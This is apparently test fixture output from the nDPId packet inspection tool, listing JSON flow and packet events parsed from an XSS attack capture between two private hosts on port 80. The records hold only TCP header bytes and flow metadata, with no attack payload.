+00445{"flow_id":195,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2771,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347300,"pkt_ts_usec":263526,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2a7Gy0E5b5NCPqAScSCcEAAAAgQFtAQCCAoD4\/4rATostQEDAwc="} +00433{"flow_id":195,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2772,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347300,"pkt_ts_usec":264292,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0bolAAD4GV0+sEAABwKgKMtmuAFBvk0I+xstBOoAQAOU7GAAAAQEICgE6LLUD4\/4r"} +00434{"flow_id":192,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2776,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347300,"pkt_ts_usec":700047,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0CipAAD4Gu66sEAABwKgKMtl4AFDbgS3iw6OYMoARAOWUaQAAAQEICgE6LSID4\/k\/"} +00433{"flow_id":192,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2777,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347300,"pkt_ts_usec":700234,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ZqpAAEAGXS7AqAoyrBAAAQBQ2XjDo5gy24Et44ARAOOPEQAAAQEICgPj\/pgBOi0i"} +00433{"flow_id":192,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2778,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347300,"pkt_ts_usec":701001,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0CitAAD4Gu62sEAABwKgKMtl4AFDbgS3jw6OYM4AQAOWPDwAAAQEICgE6LSID4\/6Y"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2782,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":196,"flow_packet_id":1,"flow_first_seen":1499347301520,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55740,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":196,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2782,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347301,"pkt_ts_usec":520809,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA80Q9AAD4G9MCsEAABwKgKMtm8AFCdpvzgAAAAAKACchC7RgAAAgQFtAQCCAoBOi3vAAAAAAEDAwc="} +00445{"flow_id":196,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2783,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347301,"pkt_ts_usec":520933,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2bw9W3Mnnab84aAScSAIWgAAAgQFtAQCCAoD4\/9lATot7wEDAwc="} +00433{"flow_id":196,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2784,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347301,"pkt_ts_usec":521683,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00RBAAD4G9MesEAABwKgKMtm8AFCdpvzhPVtzKIAQAOWnYQAAAQEICgE6Le8D4\/9l"} +00433{"flow_id":193,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2788,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347301,"pkt_ts_usec":700508,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TjJAAD4Gd6asEAABwKgKMtmGAFCTXWbPiajecYARAOWVHgAAAQEICgE6LhwD4\/p1"} +00433{"flow_id":193,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2789,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347301,"pkt_ts_usec":700707,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0IeNAAEAGofXAqAoyrBAAAQBQ2YaJqN5xk11m0IARAOOQAgAAAQEICgPj\/5IBOi4c"} +00433{"flow_id":193,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2790,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347301,"pkt_ts_usec":701446,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TjNAAD4Gd6WsEAABwKgKMtmGAFCTXWbQiajecoAQAOWQAAAAAQEICgE6LhwD4\/+S"} +00434{"flow_id":194,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2797,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347303,"pkt_ts_usec":700945,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LW9AAD4GmGmsEAABwKgKMtmUAFB7SgdSk\/5BeoARAOWcEQAAAQEICgE6MBAD4\/uy"} +00433{"flow_id":194,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2798,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347303,"pkt_ts_usec":701163,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0QPxAAEAGgtzAqAoyrBAAAQBQ2ZST\/kF6e0oHU4ARAOOWPgAAAQEICgPkAYYBOjAQ"} +00433{"flow_id":194,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2799,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347303,"pkt_ts_usec":701906,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LXBAAD4GmGisEAABwKgKMtmUAFB7SgdTk\/5Be4AQAOWWPAAAAQEICgE6MBAD5AGG"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2800,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":153,"flow_packet_id":6,"flow_first_seen":1499347229416,"flow_last_seen":1499347234681,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54970,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2800,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":153,"flow_packet_id":6,"flow_first_seen":1499347229416,"flow_last_seen":1499347234681,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54970,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2800,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":154,"flow_packet_id":6,"flow_first_seen":1499347230690,"flow_last_seen":1499347236682,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54984,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2800,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":154,"flow_packet_id":6,"flow_first_seen":1499347230690,"flow_last_seen":1499347236682,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54984,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2800,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":155,"flow_packet_id":6,"flow_first_seen":1499347233219,"flow_last_seen":1499347238682,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55010,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2800,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":155,"flow_packet_id":6,"flow_first_seen":1499347233219,"flow_last_seen":1499347238682,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55010,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2800,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":156,"flow_packet_id":6,"flow_first_seen":1499347234469,"flow_last_seen":1499347239682,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55024,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2800,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":156,"flow_packet_id":6,"flow_first_seen":1499347234469,"flow_last_seen":1499347239682,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55024,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2800,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":157,"flow_packet_id":6,"flow_first_seen":1499347235716,"flow_last_seen":1499347241682,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55038,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2800,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":157,"flow_packet_id":6,"flow_first_seen":1499347235716,"flow_last_seen":1499347241682,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55038,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2800,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":158,"flow_packet_id":6,"flow_first_seen":1499347238260,"flow_last_seen":1499347243683,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55064,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2800,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":158,"flow_packet_id":6,"flow_first_seen":1499347238260,"flow_last_seen":1499347243683,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55064,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2803,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":197,"flow_packet_id":1,"flow_first_seen":1499347304125,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55766,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":197,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2803,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347304,"pkt_ts_usec":125801,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8hKxAAD4GQSSsEAABwKgKMtnWAFBzErTWAAAAAKACchArQAAAAgQFtAQCCAoBOjB6AAAAAAEDAwc="} +00444{"flow_id":197,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2804,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347304,"pkt_ts_usec":125920,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2dawo5LBcxK016AScSDi5QAAAgQFtAQCCAoD5AHwATowegEDAwc="} +00432{"flow_id":197,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2805,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347304,"pkt_ts_usec":126703,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0hK1AAD4GQSusEAABwKgKMtnWAFBzErTXsKOSwoAQAOWB7AAAAQEICgE6MHsD5AHw"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2812,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":198,"flow_packet_id":1,"flow_first_seen":1499347305402,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55780,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":198,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2812,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347305,"pkt_ts_usec":402466,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Z+xAAD4GXeSsEAABwKgKMtnkAFD8k1ZWAAAAAKACchD+8AAAAgQFtAQCCAoBOjG6AAAAAAEDAwc="} +00445{"flow_id":198,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2813,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347305,"pkt_ts_usec":402570,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2eSBOT6p\/JNWV6AScSA42QAAAgQFtAQCCAoD5AMwAToxugEDAwc="} +00432{"flow_id":198,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2814,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347305,"pkt_ts_usec":403352,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Z+1AAD4GXeusEAABwKgKMtnkAFD8k1ZXgTk+qoAQAOXX4AAAAQEICgE6MboD5AMw"} +00433{"flow_id":195,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2818,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347305,"pkt_ts_usec":700975,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0bopAAD4GV06sEAABwKgKMtmuAFBvk0I+xstBOoARAOU1yAAAAQEICgE6MgQD4\/4r"} +00432{"flow_id":195,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2819,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347305,"pkt_ts_usec":701193,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0QkBAAEAGgZjAqAoyrBAAAQBQ2a7Gy0E6b5NCP4ARAOMwegAAAQEICgPkA3oBOjIE"} +00433{"flow_id":195,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2820,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347305,"pkt_ts_usec":701754,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0botAAD4GV02sEAABwKgKMtmuAFBvk0I\/xstBO4AQAOUweAAAAQEICgE6MgQD5AN6"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2824,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":199,"flow_packet_id":1,"flow_first_seen":1499347306680,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55794,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":199,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2824,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347306,"pkt_ts_usec":680027,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8t61AAD4GDiOsEAABwKgKMtnyAFBPt4VUAAAAAKACchB7ggAAAgQFtAQCCAoBOjL5AAAAAAEDAwc="} +00444{"flow_id":199,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2825,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347306,"pkt_ts_usec":680128,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2fJOMjqdT7eFVaAScSDrPgAAAgQFtAQCCAoD5ARvAToy+QEDAwc="} +00432{"flow_id":199,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2826,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347306,"pkt_ts_usec":680915,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0t65AAD4GDiqsEAABwKgKMtnyAFBPt4VVTjI6noAQAOWKRgAAAQEICgE6MvkD5ARv"} +00433{"flow_id":196,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2830,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347306,"pkt_ts_usec":701663,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00RFAAD4G9MasEAABwKgKMtm8AFCdpvzhPVtzKIARAOWiUQAAAQEICgE6Mv4D4\/9l"} +00432{"flow_id":196,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2831,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347306,"pkt_ts_usec":701780,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0d1xAAEAGTHzAqAoyrBAAAQBQ2bw9W3Monab84oARAOOdQwAAAQEICgPkBHQBOjL+"} +00432{"flow_id":196,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2832,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347306,"pkt_ts_usec":702317,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00RJAAD4G9MWsEAABwKgKMtm8AFCdpvziPVtzKYAQAOWdQAAAAQEICgE6Mv8D5AR0"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2842,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":200,"flow_packet_id":1,"flow_first_seen":1499347309314,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55820,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":200,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2842,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347309,"pkt_ts_usec":314104,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8V4pAAD4GbkasEAABwKgKMtoMAFADiWIGAAAAAKACchDoUQAAAgQFtAQCCAoBOjWMAAAAAAEDAwc="} +00444{"flow_id":200,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2843,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347309,"pkt_ts_usec":314238,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2gztcSluA4liB6AScSDHagAAAgQFtAQCCAoD5AcCATo1jAEDAwc="} +00432{"flow_id":200,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2844,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347309,"pkt_ts_usec":314804,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0V4tAAD4Gbk2sEAABwKgKMtoMAFADiWIH7XEpb4AQAOVmcgAAAQEICgE6NYwD5AcC"} +00432{"flow_id":197,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2848,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347309,"pkt_ts_usec":702193,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0hK5AAD4GQSqsEAABwKgKMtnWAFBzErTXsKOSwoARAOV8eQAAAQEICgE6Ne0D5AHw"} +00432{"flow_id":197,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2849,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347309,"pkt_ts_usec":702387,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0laFAAEAGLjfAqAoyrBAAAQBQ2dawo5LCcxK02IARAON3BwAAAQEICgPkB2MBOjXt"} 